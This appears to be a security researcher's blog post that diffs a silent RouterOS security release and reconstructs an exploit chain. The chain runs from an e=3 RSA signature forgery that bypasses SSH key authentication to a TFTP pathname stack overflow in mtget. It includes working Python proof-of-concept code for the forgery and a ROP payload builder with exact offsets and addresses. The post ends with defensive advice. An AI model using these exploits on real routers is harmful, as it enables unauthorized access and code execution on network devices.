On the 3rd of September 2026, MikroTik quietly pushed RouterOS 7.23.4 (long-term), 7.24.2 (stable) and 6.49.21 (v6) all on the same day. Every one of them carried the same banner:
This is an important security update. Most configurations are not at risk, but upgrading is highly recommended. To give time to update your systems, we are not currently publishing detailed information.
Translation: “we found something nasty, we patched it, and we are not going to tell you what it is until enough of you have updated.” Fair enough. Except there is a delicious irony baked into that sentence. If you ship the fixed binaries to the entire planet, then the diff between old and new is the disclosure. The embargo protects the unpatched fleet, not the patched binary sitting on your download mirror.
So let us do what any operator running a fleet of these should do: pull both versions, reverse the delta, and work out what changed. This post is the full walk from static diff to a reproduced chain. The result is a conditional but real unauthenticated-to-code-execution path: a low-exponent RSA signature forgery gets an SSH session without the private key, and a separately patched TFTP pathname overflow in mtget turns that low-privilege session into controlled code execution. The login validator is a third, independent hardening and is not the RCE link.
The one line they hoped you would skim past
Every RouterOS release dumps a wall of “improve stability” bullet points. The trick with a silent security release is to find the entry that appears in all maintained branches on the same day, because a coordinated cross-branch backport is the fingerprint of a single serious fix. Diffing the changelogs, exactly one line qualifies:
*) ssh - refactor SSH internal processes and improved system stability;
Present in 7.23.4, 7.24.2 and 6.49.21. Absent from 7.23.3. That is our thread to pull.
Getting the bits out of an NPK
RouterOS ships as NPK (“Nova Package”) files. I grabbed the x86 base package for the patched and the previous release, about 20MB each, no auth needed:
curl -O https://download.mikrotik.com/routeros/7.23.4/routeros-x86-7.23.4.npk
curl -O https://download.mikrotik.com/routeros/7.23.3/routeros-x86-7.23.3.npk
An NPK is a custom container: a 4-byte magic (1E F1 D0 BA), a run of TLV parts, a signature block, and the interesting bit, a squashfs payload. binwalk finds the filesystem for us:
$ binwalk routeros-x86-7.23.4.npk
DECIMAL HEXADECIMAL DESCRIPTION
4096 0x1000 SquashFS filesystem, little endian, version 4.0,
compression: xz, size: 16650908 bytes
Standard squashfs 4.0 with xz. Carve from offset 0x1000 and unsquash it. My host was missing unsquashfs, so a throwaway Alpine container did the honours:
dd if=routeros-x86-7.23.4.npk of=root.sqsh bs=4096 skip=1
docker run --rm -v "$PWD":/w -w /w alpine:3 sh -c
'apk add squashfs-tools >/dev/null; unsquashfs -d rootfs root.sqsh'
RouterOS is not one monolithic daemon. It is a swarm of small “nova” processes under /nova/bin/ talking over an internal message bus, brokered by a master loader process. The SSH server lives in a bundle, and interestingly the client and server are the same binary:
rootfs/bndl/security/nova/bin/sshd <- SSH server (byte-identical to ssh)
rootfs/lib/libucrypto.so <- crypto primitives
rootfs/lib/libumsg.so <- message bus + login handling
Diffing at the symbol level, not the byte level
A naive cmp of the two sshd binaries reports 170KB of differences, which is useless noise. Insert a few bytes near the top of .text and every address downstream shifts, so the whole file “changes”. The signal is not in the bytes, it is in the symbols. Stripped or not, the dynamic symbol table survives, and a diff of exported and imported symbols cuts straight to intent.
One trap worth mentioning: BusyBox sh in Alpine has no process substitution, so diff <(...) <(...) silently compares two empty streams and reports everything as identical. That will happily convince you nothing changed. Temp files and comm instead:
nm -D old/$bin | awk '{print $NF}' | sort -u > a
nm -D new/$bin | awk '{print $NF}' | sort -u > b
comm -13 a b # added in the new build
comm -23 a b # removed
Run that across every changed ELF and the story falls out. Two shared libraries changed, and the same handful of symbols move together across a whole cluster of binaries:
### lib/libumsg.so
+ _Z20validLoginParamInput11string_view
### lib/libucrypto.so
+ _ZN12RsaPublicKey23parseHashFromDerEncodedE6HashIDN4asn14blobE
- _ZN12RsaPublicKey23parseHashFromDerEncodedEjN4asn14blobE
### referencing the changed RSA routine:
sshd/ssh, ipsec, ipsec-worker, ssld, cloud
The SSH-focused symbol diff exposes two pieces: a new validLoginParamInput on the terminal-login paths and a changed parseHashFromDerEncoded in the RSA path. A wider sweep of every changed ELF exposes the third: nova/bin/mtget adds snprintf and the error Filename too long. That last change is the code-execution half of the chain.
Piece one: the login validator
The new function is 71 bytes, readable straight from the disassembly:
[0x0004503a]> pd @ 0x4503a
mov ecx, [ebp+0xc] ; ecx = string_view.len
mov edx, [ebp+8] ; edx = string_view.ptr
test ecx, ecx
je reject ; empty -> reject
mov bl, [edx] ; first byte
cmp bl, 0x2d ; '-' ?
sete al
cmp bl, 0x20 ; ' ' ?
sete bl
or al, bl
jne reject ; leading '-' or space -> reject
cmp byte [edx+ecx-1], 0x20 ; trailing space ?
je reject
loop:
mov bl, [edx]
inc edx
cmp bl, 0x1f ; control char ?
jbe reject
cmp bl, 0x7f ; DEL ?
je reject
...over every byte...
A login parameter is accepted only if it is non-empty, does not start with -, does not start or end with a space, and contains no control characters (0x00 to 0x1f) or DEL. Rejecting a leading - is characteristic of option/argument-injection hardening. Rejecting control characters and DEL is characteristic of log forging, CRLF and ANSI terminal-escape injection, and NUL truncation. Notably it does not block / or ., so it is not a path-traversal guard.
It is called by exactly the terminal-login services, none of which imported it before the patch:
sshd / ssh -> SSH (tcp/22)
telnet -> Telnet (tcp/23)
mactel -> MAC-Telnet (layer 2, udp/20561, no IP required, on by default)
mepty -> the pty helper those spawn
Here is the honest part, and it is where I have to disagree with my own first instinct. In sshd, the validated username is the login string pulled from the session object, formatted into an ssh:<user>@<host> string, and packed into a bus message to the authentication backend, nova/bin/user. I traced it all the way there. That process imports no exec, system, popen or fork, and it was not modified in this release. There is no command-execution sink on this path. I looked.
So what is this validator actually protecting? On the evidence, it prevents malformed usernames from injecting into log lines and terminals, and from reaching the authenticator in a form it cannot cleanly handle. The leading-dash rule is consistent with protecting some argv-style consumer, but I did not find a bare-argv sink that turns it into code execution, so I am not going to claim one. If you take one thing from this section: characteristic-of is not proof-of, and I could not close that gap. This piece is pre-auth input hardening, full stop.
Piece two: the RSA signature verifier
This is the interesting one. parseHashFromDerEncoded changed in every consumer that verifies an RSA signature:
libucrypto.so defines it
sshd / ssh SSH public-key auth (inbound: verifies the client's signature)
ipsec / ipsec-worker IKEv2 IKE_AUTH (inbound: verifies a peer's cert/signature)
ssld TLS handshake (certificate verification; direction varies)
cloud ACME / back-to-home (mostly outbound peer verification)
Finding one routine on the verification path of SSH, IKE and TLS is excellent attack-surface discovery. It is not, by itself, proof that any of them is bypassable. Establishing direction matters: for ipsec the surrounding strings are AUTHENTICATION_FAILED, peer does not conform to RFC 5996 and can't verify peer's certificate, so it is verifying a remote peer during IKE_AUTH, which is attacker-supplied and inbound. For ssld it is certificate verification inside the TLS handshake, whose exploitability depends entirely on which direction and which config. For cloud it is mostly outbound verification of MikroTik’s own services. So the honest scope is: the same verifier sits under SSH, IPsec and TLS. Whether each is bypassable is a separate question per protocol.
Now the routine itself. It extracts the hash digest out of the DER DigestInfo inside a PKCS#1 v1.5 signature. It enters by checking the tag is 0x30 (SEQUENCE), which tells us the PKCS#1 padding has already been stripped upstream. So the full picture is two layers: the caller strips 00 01 FF..FF 00, then this routine parses what is left.
The caller: the padding check, corrected
libucrypto exposes no one-shot RSA verify here. The SSH binary performs signature^e mod n, serialises the result to the modulus width, strips the PKCS#1 v1.5 envelope, and passes the remaining DigestInfo to parseHashFromDerEncoded. The actual 7.23.3 check is:
EM = i2osp(signature^e mod n, modulus_bytes)
if next(EM) != 0x00: fail
if next(EM) != 0x01: fail
while peek(EM) == 0xFF: next(EM)
if next(EM) != 0x00: fail
digest = parseHashFromDerEncoded(expected_hash, remaining_EM)
return digest == calculated_digest
My previous revision said the loop required at least eight FF bytes. It does not. I re-read the instructions around 0x805cb95..0x805cbd9 and then tested the result: zero FF bytes are accepted. The shortest accepted prefix is therefore 00 01 00. That is materially weaker than standard EMSA-PKCS1-v1_5 and gives a low-exponent forgery much more room.
What 7.23.4 actually added
The old DER routine checks the outer SEQUENCE, the hash OID and the digest OCTET STRING, then returns the digest span. It never asks whether anything remains after that object. The SSH caller does compare the returned span byte-for-byte with the calculated digest, so the old missing digest-length check is redundant in this particular caller. The ignored tail is not redundant.
; 7.23.4, after extracting the digest
cmp dword [ebp-0x28], 0x100 ; DER reader's clean-EOF sentinel
jne reject_trailing_bytes
; expected digest sizes: 16,20,28,32,48,64
movzx expected_len, byte [hash_length_table + hash_id]
cmp actual_digest_len, expected_len
jne reject_bad_digest_length
The 0x100 value is a parser sentinel, not a 256-byte RSA modulus check. The corresponding parser writes 0x100 at clean EOF and 0x101 on truncation. In plain English, 7.23.4 says: the expected digest must be exactly the expected length, and it must be the final thing in the encoded message.
Lab proof one: SSH authentication without the private key
I stopped here in the earlier revision because static analysis had reached its honest limit. The experiment is now done. I ran 7.23.3 and 7.23.4 CHR side by side in local Docker/QEMU, created the same low-privilege user on both, and imported the same 2048-bit RSA public key with exponent e=3. The client retained only the public key for signing purposes.
The forgery builds the prefix below, pads the low end of the 2048-bit integer with zeroes, and takes the integer cube root rounded up:
00 01 00 || DER(SHA-256 DigestInfo) || SHA256(SSH session blob) || garbage
Because e=3, verification cubes the forged signature. The high-order checked prefix survives the rounding; the error lands in the low-order garbage which 7.23.3 ignores. No private-key operation occurs.
#!/usr/bin/env python3
# forge_e3_ssh.py -- lab PoC, deliberately restricted to loopback
import argparse, base64, hashlib, ipaddress, socket
from pathlib import Path
import paramiko
from paramiko.message import Message
DI_SHA256 = bytes.fromhex("3031300d060960864801650304020105000420")
def cbrt_floor(n):
lo, hi = 0, 1 << ((n.bit_length() + 2) // 3 + 1)
while lo + 1 < hi:
mid = (lo + hi) // 2
if mid ** 3 <= n: lo = mid
else: hi = mid
return lo
def forge(data, modulus_bytes):
digest = hashlib.sha256(data).digest()
prefix = b"x00x01x00" + DI_SHA256 + digest
target = int.from_bytes(prefix + b"x00" * (modulus_bytes-len(prefix)), "big")
s = cbrt_floor(target) + 1
recovered = (s ** 3).to_bytes(modulus_bytes, "big")
assert recovered.startswith(prefix)
return s.to_bytes(modulus_bytes, "big")
class ForgedRSAKey(paramiko.RSAKey):
def sign_ssh_data(self, data, algorithm=None):
assert algorithm == "rsa-sha2-256"
m = Message()
m.add_string(algorithm)
m.add_string(forge(bytes(data), self.get_bits() // 8))
return m
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--port", type=int, required=True)
ap.add_argument("--public-key", type=Path, required=True)
ap.add_argument("--user", default="forge")
ap.add_argument("--command-file", type=Path)
args = ap.parse_args()
assert ipaddress.ip_address("127.0.0.1").is_loopback
fields = args.public_key.read_text().split()
key = ForgedRSAKey(data=base64.b64decode(fields[1]))
assert key.key.public_numbers().e == 3
command = (args.command_file.read_text().strip() if args.command_file
else ":put [/system resource get version]")
sock = socket.create_connection(("127.0.0.1", args.port), timeout=10)
t = paramiko.Transport(sock, disabled_algorithms={"pubkeys": ["rsa-sha2-512"]})
t.start_client(timeout=10)
try:
t.auth_publickey(args.user, key)
except paramiko.AuthenticationException:
print("authentication rejected")
return 1
ch = t.open_session(timeout=10)
ch.settimeout(15)
ch.exec_command(command)
try:
print(ch.makefile("rb").read().decode(), end="")
except socket.timeout:
print("authenticated; command channel died with the target service")
finally:
t.close()
if __name__ == "__main__": raise SystemExit(main())
With paramiko==5.0.0, the results were unambiguous:
$ python3 forge_e3_ssh.py --port 3223 --public-key e3.pub
7.23.3 (stable)
$ python3 forge_e3_ssh.py --port 2224 --public-key e3.pub
authentication rejected
That is an end-to-end SSH authentication bypass for the stated precondition: a known RSA e=3 public key is already authorized for the target account. It is not “bring any e=3 key and become admin”, and it is not a general e=65537 break. Public keys are not secrets, but an attacker still needs the specific authorized key.
Piece three: the mtget TFTP pathname overflow
The wider ELF sweep found the piece I had initially waved away as a one-line sprintf hardening. In nova/bin/mtget, the vulnerable TFTP request builder is much worse: 7.23.3 copies the caller-controlled remote pathname into a fixed stack packet with an unbounded rep movsb, then appends mode and option strings after it.
; 7.23.3 mtget, simplified
lea dst, [ebp-0x21a] ; fixed stack TFTP request buffer + opcode
mov ecx, remote_path.len
mov esi, remote_path.ptr
rep movsb ; no comparison with buffer capacity
mov byte [dst+len], 0
...append "octet", "blksize", "4096"...
7.23.4 replaces this with a remaining-capacity cursor, checked appends, snprintf, and a new user-visible error: Filename too long.
The pathname comes from an authenticated RouterOS command, not from the TFTP server:
/tool fetch url="tftp://10.0.2.2/<attacker path>" keep-result=no
That makes this a post-auth bug on its own, but it is reachable with the test policy. RouterOS’s built-in read group includes ssh,read,test and excludes write,policy. A supposedly read-only operator can reach the vulnerable process.
From crash to controlled EIP
The same 700-byte pathname was sent to both builds. 7.23.4 returned failure: Filename too long. On 7.23.3, the command channel hung, RouterOS generated autosupout.rif for a service malfunction, and the router itself stayed alive. Decoding the support file locally produced:
/nova/bin/mtget
--- signal=11 ---
eip=0x41414141 eflags=0x00010202
edi=0x41414141 esi=0x41414141 ebp=0x41414141 esp=0xffffd820
A patterned run with 542 As followed by BBBB produced eip=0x42424241 and a stack beginning 42 43 43 43.... Saved EIP starts at remote-path offset 541. The binary is NX, but it has no stack canary, is non-PIE at 0x08048000, and uses partial RELRO. The post-return stack is controlled and stable in this x86 CHR process. That is a straightforward ROP primitive.
A deliberately harmless ROP PoC
I did not pop a shell. The proof creates a disposable file named rop-sentinel through the normal CLI, then returns into mtget‘s fixed unlink@plt and deletes only that file. The next return address is deliberately invalid 0x42424242, making the completed call visible in the crash record.
#!/usr/bin/env python3
# mtget_rop_poc.py -- RouterOS 7.23.3 x86 CHR only
import struct
EIP_OFFSET = 541
UNLINK_PLT = 0x0804C250
RETURN_CRASH = 0x42424242
STACK_AFTER_RET = 0xFFFFD820
MARKER = b"/rw/disk/rop-sentinel"
def p32(x): return struct.pack("<I", x)
marker_offset = EIP_OFFSET + 12
marker_address = STACK_AFTER_RET + (marker_offset - (EIP_OFFSET + 4))
payload = b"A" * EIP_OFFSET
payload += p32(UNLINK_PLT)
payload += p32(RETURN_CRASH)
payload += p32(marker_address)
payload += MARKER
safe = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._/"
escaped = "".join(chr(b) if b in safe else f"\{b:02X}" for b in payload)
print('/tool fetch url=("tftp://10.0.2.2/" . "' + escaped + '") keep-result=no')
The post-crash snapshot shows that the function call really executed:
eip=0x42424242 ; deliberate return after unlink
esp=0xffffd824 ; advanced through the call
eax=0x00000000 ; unlink() returned success
edx=0xffffd828
stack: 00 00 00 00 2f 72 77 2f 64 69 73 6b 2f 72 6f 70 ...
RouterOS’s file count for rop-sentinel changed from 1 to 0. This is confirmed controlled code execution in mtget, not just a crash or a claimed “probably exploitable” overwrite.
The complete chain, reproduced
unauthenticated SSH client
|
| forge rsa-sha2-256 signature for a known, authorized RSA e=3 key
v
RouterOS 7.23.3 authenticates the read-group user (no private key)
|
| /tool fetch with crafted TFTP remote pathname
v
mtget saved-EIP overwrite at pathname offset 541
|
| fixed-address ROP call
v
disposable sentinel deleted
For the final run I recreated the sentinel, authenticated as the low-privilege forge user with the public-key-only signature forgery, and supplied the generated RouterOS command as that forged session’s command. The SSH channel timed out when mtget died; an admin session then showed the sentinel count was zero. That closes both links end to end.
Scope: serious, conditional, and not magic
- Confirmed: public-key-only SSH authentication as the account bound to an authorized 2048-bit RSA
e=3key on 7.23.3. - Confirmed: the identical forgery is rejected by 7.23.4.
- Confirmed: authenticated
/tool fetchcontrols EIP in 7.23.3mtget, and a ROP call executes. - Confirmed: the two primitives compose through a low-privilege built-in
readgroup account because that group includestest. - Required: SSH reachability, the specific authorized public key, exponent 3, and a user policy that permits
/tool fetch. - Not claimed: a universal RSA
e=65537break, arbitrary-user login, or an end-to-end IKE/TLS bypass. Those consumers share the lax parser, but their trust and certificate paths need separate proofs.
The username validator is still not the RCE link. Its pre-auth log/control-character and NUL/framing hardening is real, but mepty constructs explicit argv[] arrays and the outbound SSH username is the value after -l; no shell is involved. The code-execution link is the independently patched mtget stack overflow.
Other fixes hiding in the same diff
wwwaddssuspicious skin path, rejects/../and paths escaping the/rw/diskuser-file root with HTTP 403: path-traversal hardening.- SSH/SCP adds
destination is an invalid path!around recursive destination processing: authenticated file-path hardening. diskdadds explicit truncated-request, truncated-read and oversized-response checks around local RPC frames.- DHCP replaces small diagnostic
sprintfcalls with bounded formatting and adds allocation/packet-size failure paths. I found robustness and out-of-bounds-read hardening there, not evidence for a separate unauthenticated DHCP RCE.
What to actually do
- Patch now: 7.23.4 long-term, 7.24.2 stable, 6.49.21 v6, or anything later containing the fixes.
- Restrict SSH to the management plane. Firewalling SSH removes the demonstrated first link, although the shared verifier still deserves protocol-specific review in IKE and TLS consumers.
- Audit imported SSH RSA keys for exponent 3. Replace legacy low-exponent keys with Ed25519/ECDSA or RSA
e=65537. - Remove
testfrom users that do not need diagnostic tools. RouterOS’s built-inreadgroup is not harmless when it can reach memory-unsafe helpers. - Disable Telnet and restrict or disable MAC-Telnet on untrusted layer-2 segments:
/tool mac-server set allowed-interface-list=none. - Hunt for
Automatic supout.rif file generated due to service malfunction, unexpectedautosupout.rif,mtgetrestarts, and SSH commands containing abnormally long TFTP URLs.
The lesson, as always, is that silence is not secrecy. If you patch in public, you disclose in public, whether you write the advisory or not. Somebody is going to read the diff. Better it is you, on your own gear, before someone else does it on yours.
Stay patched, and go check your edge boxes. 🐟